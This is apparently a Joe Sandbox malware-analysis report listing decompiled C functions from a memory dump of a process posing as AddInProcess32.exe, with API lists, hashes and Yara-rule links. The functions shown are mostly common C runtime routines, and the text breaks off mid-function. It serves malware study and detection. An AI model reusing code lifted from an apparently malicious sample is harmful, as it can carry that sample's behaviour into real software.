                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                          • String ID: csm
                                                          • API String ID: 1170836740-1018135373
                                                          • Opcode ID: d530c8bb7c98c098000ac63ed5f7659f562d4a92ae2f6a57f5a9c3c4801c7214
                                                          • Instruction ID: 7b847613e8fe6c5777892cc8de1c21dee6ed745bc75497a0b9a9f8745381e306
                                                          • Opcode Fuzzy Hash: d530c8bb7c98c098000ac63ed5f7659f562d4a92ae2f6a57f5a9c3c4801c7214
                                                          • Instruction Fuzzy Hash: 2E41C630A00208ABCF10DF69CD40A9E7BA0BF45318F14857FE8546B3D2DB3A9A51CF99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040D343 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040D343(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x41b518 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x414b08 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E0040A888(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E0040A888(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}













                                                          0x0040d34c
                                                          0x0040d3f6
                                                          0x0040d354
                                                          0x0040d356
                                                          0x0040d35d
                                                          0x0040d35f
                                                          0x0040d365
                                                          0x0040d372
                                                          0x0040d387
                                                          0x0040d38b
                                                          0x0040d3dd
                                                          0x0040d3dd
                                                          0x0040d3e2
                                                          0x0040d3e6
                                                          0x0040d3e9
                                                          0x0040d3e9
                                                          0x0040d3ef
                                                          0x0040d3f1
                                                          0x0040d406
                                                          0x0040d401
                                                          0x0040d405
                                                          0x0040d405
                                                          0x0040d3f3
                                                          0x0040d3f3
                                                          0x00000000
                                                          0x0040d3f3
                                                          0x0040d38d
                                                          0x0040d396
                                                          0x0040d3cd
                                                          0x0040d3cd
                                                          0x0040d3cf
                                                          0x0040d3d1
                                                          0x00000000
                                                          0x00000000
                                                          0x0040d3d9
                                                          0x00000000
                                                          0x0040d3d9
                                                          0x0040d3a0
                                                          0x0040d3a5
                                                          0x0040d3aa
                                                          0x00000000
                                                          0x00000000
                                                          0x0040d3b4
                                                          0x0040d3b9
                                                          0x0040d3be
                                                          0x00000000
                                                          0x00000000
                                                          0x0040d3c3
                                                          0x0040d3c9
                                                          0x00000000
                                                          0x0040d3c9
                                                          0x0040d36a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040d370
                                                          0x0040d3ff
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: api-ms-$ext-ms-
                                                          • API String ID: 0-537541572
                                                          • Opcode ID: 4c6bea741488caa64d4c4b67c824bf81dee894b3e78c0081420b12cdfcd420d2
                                                          • Instruction ID: a6bc974df6527ac9b5e190ff5e0e761bb86c1a325777eabdc8cf55dd67adb27c
                                                          • Opcode Fuzzy Hash: 4c6bea741488caa64d4c4b67c824bf81dee894b3e78c0081420b12cdfcd420d2
                                                          • Instruction Fuzzy Hash: 1421D572E01220ABCB219BA4DC40B5B7758AF01BA0F250132EC06B73D1D778ED15C6DA
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040CD30 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040CD30(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E0040CCF8(_t45, 7);
					E0040CCF8(_t45 + 0x1c, 7);
					E0040CCF8(_t45 + 0x38, 0xc);
					E0040CCF8(_t45 + 0x68, 0xc);
					E0040CCF8(_t45 + 0x98, 2);
					E0040A8C2( *((intOrPtr*)(_t45 + 0xa0)));
					E0040A8C2( *((intOrPtr*)(_t45 + 0xa4)));
					E0040A8C2( *((intOrPtr*)(_t45 + 0xa8)));
					E0040CCF8(_t45 + 0xb4, 7);
					E0040CCF8(_t45 + 0xd0, 7);
					E0040CCF8(_t45 + 0xec, 0xc);
					E0040CCF8(_t45 + 0x11c, 0xc);
					E0040CCF8(_t45 + 0x14c, 2);
					E0040A8C2( *((intOrPtr*)(_t45 + 0x154)));
					E0040A8C2( *((intOrPtr*)(_t45 + 0x158)));
					E0040A8C2( *((intOrPtr*)(_t45 + 0x15c)));
					return E0040A8C2( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}




                                                          0x0040cd36
                                                          0x0040cd3b
                                                          0x0040cd44
                                                          0x0040cd4f
                                                          0x0040cd5a
                                                          0x0040cd65
                                                          0x0040cd73
                                                          0x0040cd7e
                                                          0x0040cd89
                                                          0x0040cd94
                                                          0x0040cda2
                                                          0x0040cdb0
                                                          0x0040cdc1
                                                          0x0040cdcf
                                                          0x0040cddd
                                                          0x0040cde8
                                                          0x0040cdf3
                                                          0x0040cdfe
                                                          0x00000000
                                                          0x0040ce0e
                                                          0x0040ce13

                                                          APIs
                                                            • Part of subcall function 0040CCF8: _free.LIBCMT ref: 0040CD1D
                                                          • _free.LIBCMT ref: 0040CD7E
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          • _free.LIBCMT ref: 0040CD89
                                                          • _free.LIBCMT ref: 0040CD94
                                                          • _free.LIBCMT ref: 0040CDE8
                                                          • _free.LIBCMT ref: 0040CDF3
                                                          • _free.LIBCMT ref: 0040CDFE
                                                          • _free.LIBCMT ref: 0040CE09
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: fe145e6d409a961712ffa9d5ee08f6288b57a3ac5ae7d0c7a974e4d8aadde9aa
                                                          • Instruction ID: 087001274a03b0a9cd2dc3f501599d9ecd015eb7d6d69c0fc2188e64b2862806
                                                          • Opcode Fuzzy Hash: fe145e6d409a961712ffa9d5ee08f6288b57a3ac5ae7d0c7a974e4d8aadde9aa
                                                          • Instruction Fuzzy Hash: FC115E72644B04E6E520B772CC86FCB779C5F01704F408D3EB6AE760D2DB38A9175A55
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00408B11 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 82%
                                                          			E00408B11(void* __ecx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x41a020 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00408DE4(_t13,  *0x41a020);
					_t14 = _t23;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E00408E1F(_t14,  *0x41a020, 0xffffffff) != 0) {
								_push(0x28);
								_t27 = E004095E9();
								_t18 = 1;
								if(_t27 == 0) {
									L8:
									_t11 = 0;
									E00408E1F(_t18,  *0x41a020, 0);
								} else {
									_t8 = E00408E1F(_t18,  *0x41a020, _t27);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t27;
										_t27 = 0;
									} else {
										goto L8;
									}
								}
								E00409430(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}











                                                          0x00408b11
                                                          0x00408b18
                                                          0x00408b2b
                                                          0x00408b32
                                                          0x00408b34
                                                          0x00408b38
                                                          0x00408b51
                                                          0x00408b51
                                                          0x00408b3a
                                                          0x00408b3c
                                                          0x00408b4f
                                                          0x00408b56
                                                          0x00408b5f
                                                          0x00408b62
                                                          0x00408b65
                                                          0x00408b79
                                                          0x00408b79
                                                          0x00408b82
                                                          0x00408b67
                                                          0x00408b6e
                                                          0x00408b74
                                                          0x00408b77
                                                          0x00408b8b
                                                          0x00408b8d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408b77
                                                          0x00408b90
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408b4f
                                                          0x00408b3c
                                                          0x00408b98
                                                          0x00408ba2
                                                          0x00408b1a
                                                          0x00408b1c
                                                          0x00408b1c

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,00408B08,004087DF,00408256), ref: 00408B1F
                                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00408B2D
                                                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00408B46
                                                          • SetLastError.KERNEL32(00000000,00408B08,004087DF,00408256), ref: 00408B98
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastValue___vcrt_
                                                          • String ID:
                                                          • API String ID: 3852720340-0
                                                          • Opcode ID: ffd7224c8b9dbad86f4514ff7f2076d4b5c2c012e63ece34b5351de8b83f13fe
                                                          • Instruction ID: 8e71503737dcd0b0c8cdc56f48d8e53ea19b58344f24c4fc0a44f7df34108724
                                                          • Opcode Fuzzy Hash: ffd7224c8b9dbad86f4514ff7f2076d4b5c2c012e63ece34b5351de8b83f13fe
                                                          • Instruction Fuzzy Hash: 7D01F5721093116DEA142E75AD85AA73BA5DB49339720423FF590A11E1EF395C11918C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040BA3F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040BA3F(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E0040C4D3(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E0040C4D3(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E0040AB7D(GetLastError());
									_t17 =  *((intOrPtr*)(E0040ABB3(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E0040BB06(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E0040AB7D(GetLastError());
						_t17 =  *((intOrPtr*)(E0040ABB3(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E0040BB06(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E0040BB2D(_a8);
				return 0;
			}









                                                          0x0040ba45
                                                          0x0040ba4a
                                                          0x0040ba5e
                                                          0x0040ba61
                                                          0x0040ba93
                                                          0x0040ba9b
                                                          0x0040ba9d
                                                          0x0040bab6
                                                          0x0040bab9
                                                          0x0040babc
                                                          0x0040baca
                                                          0x0040bad9
                                                          0x0040bae1
                                                          0x0040bae3
                                                          0x0040bafc
                                                          0x0040baff
                                                          0x0040baff
                                                          0x0040bae5
                                                          0x0040baec
                                                          0x0040baf7
                                                          0x0040baf7
                                                          0x0040bb01
                                                          0x0040bb02
                                                          0x00000000
                                                          0x0040bb02
                                                          0x0040bac1
                                                          0x0040bac6
                                                          0x0040bac8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040bac8
                                                          0x0040baa6
                                                          0x0040bab1
                                                          0x00000000
                                                          0x0040bab1
                                                          0x0040ba63
                                                          0x0040ba66
                                                          0x0040ba69
                                                          0x0040ba7c
                                                          0x0040ba7f
                                                          0x0040ba81
                                                          0x0040ba83
                                                          0x00000000
                                                          0x0040ba83
                                                          0x0040ba6f
                                                          0x0040ba74
                                                          0x0040ba76
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040ba76
                                                          0x0040ba4f
                                                          0x00000000

                                                          Strings
                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 0040BA44
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                          • API String ID: 0-760905667
                                                          • Opcode ID: a2ca266e572bf5f0f047cf1db994935fc25c1b5c8d301620d5764378d49e7e8a
                                                          • Instruction ID: 8d17cddd85b39797ac5622a2ff36020c2195947e57d9867ff9531b23dbfaaa62
                                                          • Opcode Fuzzy Hash: a2ca266e572bf5f0f047cf1db994935fc25c1b5c8d301620d5764378d49e7e8a
                                                          • Instruction Fuzzy Hash: D2218E71610609ABDB10AF668C81D7B77B9EA00368710813AF525B66D0D778EC10CBED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00409FCB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 25%
                                                          			E00409FCB(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x4131e0(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}






                                                          0x00409fd1
                                                          0x00409fd5
                                                          0x00409fe0
                                                          0x00409fe8
                                                          0x00409ff3
                                                          0x00409ff9
                                                          0x00409ffd
                                                          0x0040a004
                                                          0x0040a00a
                                                          0x0040a00a
                                                          0x0040a00c
                                                          0x0040a011
                                                          0x00000000
                                                          0x0040a016
                                                          0x0040a01d

                                                          APIs
                                                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00409F7D,?,?,00409F45,?,?,?), ref: 00409FE0
                                                          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00409FF3
                                                          • FreeLibrary.KERNEL32(00000000,?,?,00409F7D,?,?,00409F45,?,?,?), ref: 0040A016
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 4061214504-1276376045
                                                          • Opcode ID: 0cd13f63ac19641e564f89473ba1a175212a60865e88618ad36c9eab2fab6b4f
                                                          • Instruction ID: 26bde8e978fee32cae99d4b53ee8e2b057e44dcc3139ef63889da78c66e58dd9
                                                          • Opcode Fuzzy Hash: 0cd13f63ac19641e564f89473ba1a175212a60865e88618ad36c9eab2fab6b4f
                                                          • Instruction Fuzzy Hash: 8DF0FE31640218FBDB119F51DD09BDEBE68EB44756F144075E401B22A0CB758F50DA99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040CC8F Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040CC8F(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x41a648; // 0x41a698
					if(_t23 != 0) {
						E0040A8C2(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x41a64c; // 0x41b5f0
					if(_t24 != 0) {
						E0040A8C2(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x41a650; // 0x41b5f0
					if(_t25 != 0) {
						E0040A8C2(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x41a678; // 0x41a69c
					if(_t26 != 0) {
						E0040A8C2(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x41a67c; // 0x41b5f4
					if(_t27 != 0) {
						return E0040A8C2(_t6);
					}
				}
				return _t6;
			}










                                                          0x0040cc95
                                                          0x0040cc9a
                                                          0x0040cc9e
                                                          0x0040cca4
                                                          0x0040cca7
                                                          0x0040ccac
                                                          0x0040ccb0
                                                          0x0040ccb6
                                                          0x0040ccb9
                                                          0x0040ccbe
                                                          0x0040ccc2
                                                          0x0040ccc8
                                                          0x0040cccb
                                                          0x0040ccd0
                                                          0x0040ccd4
                                                          0x0040ccda
                                                          0x0040ccdd
                                                          0x0040cce2
                                                          0x0040cce3
                                                          0x0040cce6
                                                          0x0040ccec
                                                          0x00000000
                                                          0x0040ccf4
                                                          0x0040ccec
                                                          0x0040ccf7

                                                          APIs
                                                          • _free.LIBCMT ref: 0040CCA7
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          • _free.LIBCMT ref: 0040CCB9
                                                          • _free.LIBCMT ref: 0040CCCB
                                                          • _free.LIBCMT ref: 0040CCDD
                                                          • _free.LIBCMT ref: 0040CCEF
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: c564d782dfec75d9eb820c5100c9481663ecd99006439f5456c6657bbe7f22d0
                                                          • Instruction ID: 8f09954780423d8a6bde8186742bdabf54a67bbf5845b3c76dd5d59543104736
                                                          • Opcode Fuzzy Hash: c564d782dfec75d9eb820c5100c9481663ecd99006439f5456c6657bbe7f22d0
                                                          • Instruction Fuzzy Hash: D4F04F33519200EBD620FB69E9C5C9A73D9AA00310758C93BF449F76C1DB38FC918A5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040B3C3 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 80%
                                                          			E0040B3C3(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_t20 = _t264 + 1; // 0x1
								_v20 = _t20;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E00409A9B(_t136, _t271, _v8, 1);
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E0040EAC7(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E0040AB06();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t65 = _t239 + 1; // 0x1
										_t277 = _t65;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t68 = _t285 + 1; // 0x1
											_t225 = _t68 + _t241;
											_t300 = E0040B1B0(_t225, 1);
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E0040EAC7(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E0040B9AD(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E0040A8C2(_t300);
														_t302 = _v12;
													}
													E0040A8C2(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E0040EAC7(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E0040AB06();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x41a000; // 0xdd666744
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E0040EB20(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
